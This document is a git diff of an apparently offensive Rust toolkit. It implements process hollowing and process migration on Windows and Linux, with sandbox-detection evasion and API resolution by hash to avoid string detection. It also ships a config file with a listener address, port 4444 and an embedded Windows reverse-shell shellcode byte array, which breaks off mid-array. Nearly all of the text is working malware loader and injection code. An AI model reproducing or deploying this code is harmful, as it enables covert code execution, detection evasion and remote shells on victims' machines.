diff --git a/process_hollowing/src/main.rs b/process_hollowing/src/main.rs index 63fd32a..434568e 100644 --- a/process_hollowing/src/main.rs +++ b/process_hollowing/src/main.rs @@ -37,7 +37,7 @@ const TARGET_PROCESS: &[u8] = rco_config::ENCRYPTED_WINDOWS_HOLLOWING_TARGET; fn main() { // Runs the sandbox detection function or the dummy replacement, dependent on features if rco_utils::pound_sand() { - return + return; } // Decrypts the shellcode and target process or returns them unchanged, dependent on features diff --git a/process_hollowing/src/rco_process_hollowing_linux/mod.rs b/process_hollowing/src/rco_process_hollowing_linux/mod.rs index 41be3a9..a177c95 100644 --- a/process_hollowing/src/rco_process_hollowing_linux/mod.rs +++ b/process_hollowing/src/rco_process_hollowing_linux/mod.rs @@ -1,54 +1,55 @@ use nix::sys::ptrace::{detach, getregs, traceme, write}; -use nix::sys::wait::{waitpid}; +use nix::sys::wait::waitpid; use nix::unistd::{execv, fork, ForkResult}; -use std::ffi::{CString, CStr, c_void}; +use std::ffi::{c_void, CStr, CString}; pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { - match unsafe { fork() } { - // This is the original process and has the same PID as it - Ok(ForkResult::Parent { child, .. }) => { - // Wait for the child to be ready for ptrace manipulation - if let Err(error) = waitpid(child, None) { - panic!("Could not wait for {target_process} to change state: {error}"); - }; - - // Dump the registers for the child process - let registers = match getregs(child) { - Ok(value) => value, - Err(error) => panic!("Could not get registers for {target_process}: {error}") - }; + match unsafe { fork() } { + // This is the original process and has the same PID as it + Ok(ForkResult::Parent { child, .. }) => { + // Wait for the child to be ready for ptrace manipulation + if let Err(error) = waitpid(child, None) { + panic!("Could not wait for {target_process} to change state: {error}"); + }; - // Copy RIP to a mutable variable - let mut point = registers.rip; + // Dump the registers for the child process + let registers = match getregs(child) { + Ok(value) => value, + Err(error) => panic!("Could not get registers for {target_process}: {error}"), + }; - // Write the shellcode over where RIP used to point, one byte at a time - for byte in shellcode { - if let Err(error) = unsafe { write(child, point as *mut c_void, *byte as *mut c_void) } { - panic!("Unable to write portion of shellcode at {byte} to {target_process}: {error}"); + // Copy RIP to a mutable variable + let mut point = registers.rip; + + // Write the shellcode over where RIP used to point, one byte at a time + for byte in shellcode { + if let Err(error) = + unsafe { write(child, point as *mut c_void, *byte as *mut c_void) } + { + panic!("Unable to write portion of shellcode at {byte} to {target_process}: {error}"); + } + point += 1; } - point += 1; - } - // Detach from the process so it can resume execution - if let Err(error) = detach(child, None) { - panic!("Unable to detach from {target_process}: {error}"); - } + // Detach from the process so it can resume execution + if let Err(error) = detach(child, None) { + panic!("Unable to detach from {target_process}: {error}"); + } + } + // This is the forked child and has a different PID + Ok(ForkResult::Child) => { + // Indicate to the parent process that the child is traceable + if let Err(error) = traceme() { + panic!("Could not set child as traceable: {error}"); + } - }, - // This is the forked child and has a different PID - Ok(ForkResult::Child) => { - // Indicate to the parent process that the child is traceable - if let Err(error) = traceme() { - panic!("Could not set child as traceable: {error}"); - } - - // Execute the target process in place of the currently running one (ie, the child) - let executable = CString::new(target_process).unwrap(); - let arguments: &[&CStr; 0] = &[]; - if let Err(error) = execv(&executable, arguments) { - panic!("Could not execv: {error}"); - } - }, - Err(err) => panic!("Forking the parent failed: {err}"), - } + // Execute the target process in place of the currently running one (ie, the child) + let executable = CString::new(target_process).unwrap(); + let arguments: &[&CStr; 0] = &[]; + if let Err(error) = execv(&executable, arguments) { + panic!("Could not execv: {error}"); + } + } + Err(err) => panic!("Forking the parent failed: {err}"), + } } diff --git a/process_hollowing/src/rco_process_hollowing_windows/mod.rs b/process_hollowing/src/rco_process_hollowing_windows/mod.rs index 0c34320..7f3d433 100644 --- a/process_hollowing/src/rco_process_hollowing_windows/mod.rs +++ b/process_hollowing/src/rco_process_hollowing_windows/mod.rs @@ -1,8 +1,11 @@ -use std::ffi::{CString, c_void}; +use std::ffi::{c_void, CString}; use std::ptr; use windows::core::{PCSTR, PSTR}; use windows::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory}; -use windows::Win32::System::Threading::{CreateProcessA, CREATE_SUSPENDED, NtQueryInformationProcess, PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, PROCESSINFOCLASS, ResumeThread, STARTUPINFOA}; +use windows::Win32::System::Threading::{ + CreateProcessA, NtQueryInformationProcess, ResumeThread, CREATE_SUSPENDED, PROCESSINFOCLASS, + PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, STARTUPINFOA, +}; const E_LFANEW_OFFSET: usize = 0x3C; const OPTHDR_ADDITIONAL_OFFSET: usize = 0x28; @@ -18,11 +21,8 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { // Use CreateProcessA to create a suspended process that will be hollowed out for the shellcode // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html - let lp_command_line = PSTR(CString::new(target_process) - .unwrap() - .into_raw() as *mut u8 - ); - let creation_result = unsafe { + let lp_command_line = PSTR(CString::new(target_process).unwrap().into_raw() as *mut u8); + let creation_result = unsafe { CreateProcessA( PCSTR::null(), lp_command_line, @@ -33,7 +33,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { ptr::null(), PCSTR::null(), &STARTUPINFOA::default(), - &mut process_information + &mut process_information, ) }; if !creation_result.as_bool() { @@ -45,13 +45,13 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.NtQueryInformationProcess.html let process_handle = process_information.hProcess; let mut basic_information = PROCESS_BASIC_INFORMATION::default(); - if let Err(error) = unsafe { + if let Err(error) = unsafe { NtQueryInformationProcess( process_handle, PROCESSINFOCLASS::default(), &mut basic_information as *mut _ as *mut c_void, POINTER_SIZE_TIMES_SIX, - ptr::null_mut() + ptr::null_mut(), ) } { panic!("Could not get the entry point with ZwQueryInformationProcess: {error}"); @@ -68,7 +68,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { image_base_address as *const c_void, address_buffer.as_mut_ptr() as *mut c_void, address_buffer.len(), - ptr::null_mut() + ptr::null_mut(), ) }; if !read_result.as_bool() { @@ -79,13 +79,13 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { let mut header_buffer = [0_u8; 0x200]; let head_pointer_raw = header_buffer.as_mut_ptr() as usize; let pe_base_address = unsafe { ptr::read(address_buffer.as_ptr() as *const usize) }; - let read_result = unsafe { + let read_result = unsafe { ReadProcessMemory( process_handle, pe_base_address as *const c_void, header_buffer.as_mut_ptr() as *mut c_void, header_buffer.len(), - ptr::null_mut() + ptr::null_mut(), ) }; if !read_result.as_bool() { @@ -101,13 +101,13 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { let opthdr_offset = e_lfanew as usize + OPTHDR_ADDITIONAL_OFFSET; let entry_point_rva = unsafe { ptr::read((head_pointer_raw + opthdr_offset) as *const u32) }; let entry_point_address = entry_point_rva as usize + pe_base_address; - let write_result = unsafe { + let write_result = unsafe { WriteProcessMemory( process_handle, entry_point_address as *const c_void, shellcode.as_ptr() as *const c_void, shellcode.len(), - ptr::null_mut() + ptr::null_mut(), ) }; if !write_result.as_bool() { @@ -117,11 +117,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { // Start it back up with ResumeThread // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.ResumeThread.html - let resume_result = unsafe { - ResumeThread( - process_information.hThread - ) - }; + let resume_result = unsafe { ResumeThread(process_information.hThread) }; if resume_result != 1 { panic!("Could not resume the suspended {target_process}'s execution"); } diff --git a/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs b/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs index 80832c0..b4f2b88 100644 --- a/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs +++ b/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs @@ -1,9 +1,12 @@ -use std::ffi::{CString, c_void}; +use std::ffi::{c_void, CString}; use std::ptr; use windows::core::{PCSTR, PSTR}; use windows::Win32::Foundation::{BOOL, HANDLE}; use windows::Win32::Security::SECURITY_ATTRIBUTES; -use windows::Win32::System::Threading::{CREATE_SUSPENDED, PROCESS_BASIC_INFORMATION, PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, PROCESSINFOCLASS, STARTUPINFOA}; +use windows::Win32::System::Threading::{ + CREATE_SUSPENDED, PROCESSINFOCLASS, PROCESS_BASIC_INFORMATION, PROCESS_CREATION_FLAGS, + PROCESS_INFORMATION, STARTUPINFOA, +}; const E_LFANEW_OFFSET: usize = 0x3C; const OPTHDR_ADDITIONAL_OFFSET: usize = 0x28; @@ -17,60 +20,65 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { // See line 18 let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap(); let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *mut PROCESS_INFORMATION]; [BOOL]); - let lp_command_line = PSTR(CString::new(target_process) - .unwrap() - .into_raw() as *mut u8 - ); - unsafe { function( - PCSTR::null(), - lp_command_line, - ptr::null(), - ptr::null(), - false, - CREATE_SUSPENDED, - ptr::null(), - PCSTR::null(), - &STARTUPINFOA::default(), - &mut process_information - ) }; + let lp_command_line = PSTR(CString::new(target_process).unwrap().into_raw() as *mut u8); + unsafe { + function( + PCSTR::null(), + lp_command_line, + ptr::null(), + ptr::null(), + false, + CREATE_SUSPENDED, + ptr::null(), + PCSTR::null(), + &STARTUPINFOA::default(), + &mut process_information, + ) + }; // See line 43 let function = rco_utils::find_function_address("Ntdll", 0x9b0d5adddbf90f8a).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, PROCESSINFOCLASS, *mut c_void, u32, *mut u32]; [()]); let process_handle = process_information.hProcess; let mut basic_information = PROCESS_BASIC_INFORMATION::default(); - unsafe { function( - process_handle, - PROCESSINFOCLASS::default(), - &mut basic_information as *mut _ as *mut c_void, - POINTER_SIZE_TIMES_SIX, - ptr::null_mut() - ) }; + unsafe { + function( + process_handle, + PROCESSINFOCLASS::default(), + &mut basic_information as *mut _ as *mut c_void, + POINTER_SIZE_TIMES_SIX, + ptr::null_mut(), + ) + }; // See line 60 let function = rco_utils::find_function_address("Kernel32", 0x1c1cfbf71004cba8).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *mut c_void, usize, *mut usize]; [()]); let image_base_address = basic_information.PebBaseAddress as u64 + 0x10; let mut address_buffer = [0; POINTER_SIZE as usize]; - unsafe { function( - process_handle, - image_base_address as *const c_void, - address_buffer.as_mut_ptr() as *mut c_void, - address_buffer.len(), - ptr::null_mut() - ) }; + unsafe { + function( + process_handle, + image_base_address as *const c_void, + address_buffer.as_mut_ptr() as *mut c_void, + address_buffer.len(), + ptr::null_mut(), + ) + }; // See line 78 let mut header_buffer = [0_u8; 0x200]; let head_pointer_raw = header_buffer.as_mut_ptr() as usize; let pe_base_address = unsafe { ptr::read(address_buffer.as_ptr() as *const usize) }; - unsafe { function( - process_handle, - pe_base_address as *const c_void, - header_buffer.as_mut_ptr() as *mut c_void, - header_buffer.len(), - ptr::null_mut() - ) }; + unsafe { + function( + process_handle, + pe_base_address as *const c_void, + header_buffer.as_mut_ptr() as *mut c_void, + header_buffer.len(), + ptr::null_mut(), + ) + }; if header_buffer[0] as char != 'M' || header_buffer[1] as char != 'Z' { panic!("An offset looks incorrect, the DOS header magic bytes don't correspond to 'MZ'"); } @@ -82,18 +90,18 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { let opthdr_offset = e_lfanew as usize + OPTHDR_ADDITIONAL_OFFSET; let entry_point_rva = unsafe { ptr::read((head_pointer_raw + opthdr_offset) as *const u32) }; let entry_point_address = entry_point_rva as usize + pe_base_address; - unsafe { function( - process_handle, - entry_point_address as *const c_void, - shellcode.as_ptr() as *const c_void, - shellcode.len(), - ptr::null_mut() - ) }; + unsafe { + function( + process_handle, + entry_point_address as *const c_void, + shellcode.as_ptr() as *const c_void, + shellcode.len(), + ptr::null_mut(), + ) + }; // See line 117 let function = rco_utils::find_function_address("Kernel32", 0x9f2eb3a0195b21d).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE]; [()]); - unsafe { function( - process_information.hThread - ) }; + unsafe { function(process_information.hThread) }; } diff --git a/process_migration/src/main.rs b/process_migration/src/main.rs index c572199..4e48d2a 100644 --- a/process_migration/src/main.rs +++ b/process_migration/src/main.rs @@ -37,7 +37,7 @@ const TARGET_PROCESS: &[u8] = rco_config::ENCRYPTED_WINDOWS_MIGRATION_TARGET; fn main() { // Runs the sandbox detection function or the dummy replacement, dependent on features if rco_utils::pound_sand() { - return + return; } // Decrypts the shellcode and target process or returns them unchanged, dependent on features diff --git a/process_migration/src/rco_process_migration_linux/mod.rs b/process_migration/src/rco_process_migration_linux/mod.rs index 441ef8a..73c4423 100644 --- a/process_migration/src/rco_process_migration_linux/mod.rs +++ b/process_migration/src/rco_process_migration_linux/mod.rs @@ -6,10 +6,7 @@ use std::process::{self, Command}; pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // List and collect all of the PIDs of active processes - let list_pids = Command::new("ls") - .arg("/proc/") - .output() - .unwrap(); + let list_pids = Command::new("ls").arg("/proc/").output().unwrap(); let mut pids: Vec = String::from_utf8(list_pids.stdout) .unwrap() .split('\n') @@ -22,12 +19,12 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { let mut target_pid = 0; for pid in pids.iter().rev() { let cmdline = format!("/proc/{pid}/cmdline"); - let commandline = Command::new("cat") - .arg(cmdline) - .output() + let commandline = Command::new("cat").arg(cmdline).output().unwrap().stdout; + if String::from_utf8(commandline) .unwrap() - .stdout; - if String::from_utf8(commandline).unwrap().contains(target_process) && attach(Pid::from_raw(*pid)).is_ok() { + .contains(target_process) + && attach(Pid::from_raw(*pid)).is_ok() + { target_pid = *pid; break; }; @@ -45,7 +42,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // Dump the registers for the target process let mut registers = match getregs(target_pid) { Ok(value) => value, - Err(error) => panic!("Could not get registers for {target_process}: {error}") + Err(error) => panic!("Could not get registers for {target_process}: {error}"), }; // Copy the RIP register to a mutable variable, then increment RIP by 2 @@ -59,7 +56,8 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // Write shellcode to target process one byte at a time for byte in shellcode { - if let Err(error) = unsafe { write(target_pid, point as *mut c_void, *byte as *mut c_void) } { + if let Err(error) = unsafe { write(target_pid, point as *mut c_void, *byte as *mut c_void) } + { panic!("Unable to write portion of shellcode at {byte} to {target_process}: {error}"); } point += 1; diff --git a/process_migration/src/rco_process_migration_windows/mod.rs b/process_migration/src/rco_process_migration_windows/mod.rs index 8857a66..0aea9b3 100644 --- a/process_migration/src/rco_process_migration_windows/mod.rs +++ b/process_migration/src/rco_process_migration_windows/mod.rs @@ -2,18 +2,22 @@ use core::ffi::c_void; use std::{mem, ptr}; use windows::Win32::Foundation::CHAR; use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory; -use windows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS}; -use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAllocEx}; +use windows::Win32::System::Diagnostics::ToolHelp::{ + CreateToolhelp32Snapshot, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS, +}; +use windows::Win32::System::Memory::{ + VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, +}; use windows::Win32::System::Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS}; - pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // Call CreateToolhelp32Snapshot to get a snapshot of all the processes currently running // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Diagnostics/ToolHelp/fn.CreateToolhelp32Snapshot.html - let snapshot = unsafe { match CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0_u32) { + let snapshot = unsafe { + match CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0_u32) { Ok(value) => value, - Err(_) => panic!("Could not obtain handle to snapshot") + Err(_) => panic!("Could not obtain handle to snapshot"), } }; @@ -21,7 +25,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Diagnostics/ToolHelp/fn.Process32Next.html let mut pid: u32 = 0; - let mut process_entry = PROCESSENTRY32 { + let mut process_entry = PROCESSENTRY32 { dwSize: mem::size_of::() as u32, ..Default::default() }; @@ -30,7 +34,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { for element in process_entry.szExeFile { let element_as_u8 = unsafe { mem::transmute::(element) }; if element_as_u8 == 0 { - break + break; } process_name.push(element_as_u8 as char); } @@ -46,9 +50,10 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // Call OpenProcess to get a handle to the target process via its PID // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.OpenProcess.html - let explorer_handle = unsafe { match OpenProcess(PROCESS_ALL_ACCESS, false, pid) { + let explorer_handle = unsafe { + match OpenProcess(PROCESS_ALL_ACCESS, false, pid) { Ok(value) => value, - Err(_) => panic!("Could not open a handle to the process") + Err(_) => panic!("Could not open a handle to the process"), } }; @@ -61,7 +66,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { ptr::null(), shellcode.len(), MEM_COMMIT | MEM_RESERVE, - PAGE_EXECUTE_READWRITE + PAGE_EXECUTE_READWRITE, ) }; @@ -74,7 +79,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { base_address, shellcode.as_ptr() as *const c_void, shellcode.len(), - ptr::null_mut() + ptr::null_mut(), ) }; if !write_result.as_bool() { @@ -93,9 +98,11 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { start_address_option, ptr::null(), 0, - ptr::null_mut() + ptr::null_mut(), ) - }.is_err() { + } + .is_err() + { panic!("CreateRemoteThread failed"); } } diff --git a/process_migration/src/rco_process_migration_windows_antistring/mod.rs b/process_migration/src/rco_process_migration_windows_antistring/mod.rs index f2b547b..ad3db80 100644 --- a/process_migration/src/rco_process_migration_windows_antistring/mod.rs +++ b/process_migration/src/rco_process_migration_windows_antistring/mod.rs @@ -1,37 +1,34 @@ use core::ffi::c_void; use std::{mem, ptr}; use windows::Win32::Foundation::{BOOL, CHAR, HANDLE}; -use windows::Win32::System::Diagnostics::ToolHelp::{CREATE_TOOLHELP_SNAPSHOT_FLAGS, PROCESSENTRY32, TH32CS_SNAPPROCESS}; -use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE}; +use windows::Win32::System::Diagnostics::ToolHelp::{ + CREATE_TOOLHELP_SNAPSHOT_FLAGS, PROCESSENTRY32, TH32CS_SNAPPROCESS, +}; +use windows::Win32::System::Memory::{ + MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE, +}; use windows::Win32::System::Threading::{PROCESS_ACCESS_RIGHTS, PROCESS_ALL_ACCESS}; pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // See line 11 let function = rco_utils::find_function_address("Kernel32", 0x139872fd098af4a7).unwrap(); let function = rco_utils::construct_win32_function!(function; [CREATE_TOOLHELP_SNAPSHOT_FLAGS, u32]; [HANDLE]); - let snapshot = unsafe { function( - TH32CS_SNAPPROCESS, - 0_u32 - ) }; + let snapshot = unsafe { function(TH32CS_SNAPPROCESS, 0_u32) }; // See line 20 let function = rco_utils::find_function_address("Kernel32", 0x4cf400a249844bee).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, &mut PROCESSENTRY32]; [BOOL]); let mut pid = 0_u32; - let mut process_entry = PROCESSENTRY32 { + let mut process_entry = PROCESSENTRY32 { dwSize: mem::size_of::() as u32, - ..Default::default() + ..Default::default() }; - while unsafe { function( - snapshot, - &mut process_entry - ).as_bool() - } { + while unsafe { function(snapshot, &mut process_entry).as_bool() } { let mut process_name = String::from(""); for element in process_entry.szExeFile { let element_as_u8 = unsafe { mem::transmute::(element) }; if element_as_u8 == 0 { - break + break; } process_name.push(element_as_u8 as char); } @@ -44,45 +41,47 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // See line 46 let function = rco_utils::find_function_address("Kernel32", 0x2c116091e452cf52).unwrap(); let function = rco_utils::construct_win32_function!(function; [PROCESS_ACCESS_RIGHTS, bool, u32]; [HANDLE]); - let explorer_handle = unsafe { function( - PROCESS_ALL_ACCESS, - false, - pid - ) }; + let explorer_handle = unsafe { function(PROCESS_ALL_ACCESS, false, pid) }; // See line 55 let function = rco_utils::find_function_address("Kernel32", 0x5cfd66a14ed9a43).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const u32, usize, VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS]; [*const c_void]); - let base_address = unsafe { function( - explorer_handle, - ptr::null(), - shellcode.len(), - MEM_COMMIT | MEM_RESERVE, - PAGE_EXECUTE_READWRITE - ) }; + let base_address = unsafe { + function( + explorer_handle, + ptr::null(), + shellcode.len(), + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ) + }; // See line 68 let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *const c_void, usize, *mut usize]; [()]); - unsafe { function( - explorer_handle, - base_address, - shellcode.as_ptr() as *const c_void, - shellcode.len(), - ptr::null_mut() - ) }; + unsafe { + function( + explorer_handle, + base_address, + shellcode.as_ptr() as *const c_void, + shellcode.len(), + ptr::null_mut(), + ) + }; // See line 84 let function = rco_utils::find_function_address("Kernel32", 0x2a0b247f3bdeef70).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const u32, u32, Option u32>, *const u32, u32, *mut u32]; [()]); let start_address_option = unsafe { Some(mem::transmute(base_address)) }; - unsafe { function( - explorer_handle, - ptr::null(), - 0, - start_address_option, - ptr::null(), - 0, - ptr::null_mut() - ) }; + unsafe { + function( + explorer_handle, + ptr::null(), + 0, + start_address_option, + ptr::null(), + 0, + ptr::null_mut(), + ) + }; } diff --git a/rco_config/src/lib.rs b/rco_config/src/lib.rs index b53af2d..8062833 100644 --- a/rco_config/src/lib.rs +++ b/rco_config/src/lib.rs @@ -7,15 +7,50 @@ pub const LISTENER_IP: &str = "127.0.0.1"; // Port the attacking machine is listening on pub const LISTENER_PORT: u16 = 4444; - /* For xor_shellcode OR process_migration without an encryption feature OR process_hollowing without an encryption feature */ // Shellcode for Windows targets -pub const WINDOWS_SHELLCODE: &[u8] = &[0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xbe, 0x77, 0x73, 0x32, 0x5f, 0x33, 0x32, 0x00, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x48, 0x81, 0xec, 0xa0, 0x01, 0x00, 0x00, 0x49, 0x89, 0xe5, 0x49, 0xbc, 0x02, 0x00, 0x11, 0x5c, 0x7f, 0x00, 0x00, 0x01, 0x41, 0x54, 0x49, 0x89, 0xe4, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x4c, 0x89, 0xea, 0x68, 0x01, 0x01, 0x00, 0x00, 0x59, 0x41, 0xba, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x50, 0x50, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc0, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc2, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc1, 0x41, 0xba, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x48, 0x89, 0xc7, 0x6a, 0x10, 0x41, 0x58, 0x4c, 0x89, 0xe2, 0x48, 0x89, 0xf9, 0x41, 0xba, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x48, 0x81, 0xc4, 0x40, 0x02, 0x00, 0x00, 0x49, 0xb8, 0x63, 0x6d, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x50, 0x41, 0x50, 0x48, 0x89, 0xe2, 0x57, 0x57, 0x57, 0x4d, 0x31, 0xc0, 0x6a, 0x0d, 0x59, 0x41, 0x50, 0xe2, 0xfc, 0x66, 0xc7, 0x44, 0x24, 0x54, 0x01, 0x01, 0x48, 0x8d, 0x44, 0x24, 0x18, 0xc6, 0x00, 0x68, 0x48, 0x89, 0xe6, 0x56, 0x50, 0x41, 0x50, 0x41, 0x50, 0x41, 0x50, 0x49, 0xff, 0xc0, 0x41, 0x50, 0x49, 0xff, 0xc8, 0x4d, 0x89, 0xc1, 0x4c, 0x89, 0xc1, 0x41, 0xba, 0x79, 0xcc, 0x3f, 0x86, 0xff, 0xd5, 0x48, 0x31, 0xd2, 0x48, 0xff, 0xca, 0x8b, 0x0e, 0x41, 0xba, 0x08, 0x87, 0x1d, 0x60, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5]; +pub const WINDOWS_SHELLCODE: &[u8] = &[ + 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, + 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, + 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, + 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, + 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, + 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 